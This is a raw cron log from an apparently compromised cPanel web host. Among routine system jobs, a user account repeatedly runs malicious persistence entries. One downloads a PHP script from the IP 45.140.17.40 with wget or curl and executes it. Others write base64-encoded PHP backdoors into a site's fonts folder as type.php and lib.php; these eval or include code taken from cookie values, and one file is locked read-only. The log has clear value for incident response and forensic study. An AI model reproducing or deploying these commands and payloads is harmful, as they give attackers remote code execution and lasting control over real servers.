Sep  1 19:18:01 ip-184-168-122-23 CROND[11942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:18:01 ip-184-168-122-23 CROND[11944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:18:01 ip-184-168-122-23 CROND[11946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:18:01 ip-184-168-122-23 CROND[11945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:18:01 ip-184-168-122-23 CROND[11947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:19:01 ip-184-168-122-23 CROND[12036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:19:02 ip-184-168-122-23 CROND[12038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:19:02 ip-184-168-122-23 CROND[12039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:19:02 ip-184-168-122-23 CROND[12040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:20:01 ip-184-168-122-23 CROND[12132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:20:01 ip-184-168-122-23 CROND[12134]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:20:01 ip-184-168-122-23 CROND[12137]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:20:01 ip-184-168-122-23 CROND[12138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:20:01 ip-184-168-122-23 CROND[12140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:20:01 ip-184-168-122-23 CROND[12135]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 19:20:01 ip-184-168-122-23 CROND[12136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:20:01 ip-184-168-122-23 CROND[12139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:20:01 ip-184-168-122-23 CROND[12141]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 19:21:01 ip-184-168-122-23 CROND[12245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:21:01 ip-184-168-122-23 CROND[12247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:21:01 ip-184-168-122-23 CROND[12246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:21:01 ip-184-168-122-23 CROND[12249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:22:01 ip-184-168-122-23 CROND[12412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:22:01 ip-184-168-122-23 CROND[12414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:22:01 ip-184-168-122-23 CROND[12415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:22:01 ip-184-168-122-23 CROND[12413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:22:01 ip-184-168-122-23 CROND[12417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:23:01 ip-184-168-122-23 CROND[12499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:23:01 ip-184-168-122-23 CROND[12497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:23:01 ip-184-168-122-23 CROND[12500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:23:01 ip-184-168-122-23 CROND[12498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:24:01 ip-184-168-122-23 CROND[12599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:24:01 ip-184-168-122-23 CROND[12603]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:24:01 ip-184-168-122-23 CROND[12601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:24:01 ip-184-168-122-23 CROND[12602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:24:01 ip-184-168-122-23 CROND[12604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:25:01 ip-184-168-122-23 CROND[12705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:25:01 ip-184-168-122-23 CROND[12707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:25:01 ip-184-168-122-23 CROND[12708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:25:01 ip-184-168-122-23 CROND[12710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:25:01 ip-184-168-122-23 CROND[12713]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:25:01 ip-184-168-122-23 CROND[12712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:26:01 ip-184-168-122-23 CROND[12795]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:26:01 ip-184-168-122-23 CROND[12797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:26:01 ip-184-168-122-23 CROND[12798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:26:01 ip-184-168-122-23 CROND[12801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:26:01 ip-184-168-122-23 CROND[12799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:27:01 ip-184-168-122-23 CROND[12965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:27:01 ip-184-168-122-23 CROND[12966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:27:01 ip-184-168-122-23 CROND[12967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:27:01 ip-184-168-122-23 CROND[12968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:28:01 ip-184-168-122-23 CROND[13045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:28:01 ip-184-168-122-23 CROND[13047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:28:01 ip-184-168-122-23 CROND[13049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:28:01 ip-184-168-122-23 CROND[13048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:28:01 ip-184-168-122-23 CROND[13050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:29:01 ip-184-168-122-23 CROND[13132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:29:01 ip-184-168-122-23 CROND[13134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:29:01 ip-184-168-122-23 CROND[13135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:29:01 ip-184-168-122-23 CROND[13136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:30:01 ip-184-168-122-23 CROND[13220]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 19:30:01 ip-184-168-122-23 CROND[13227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
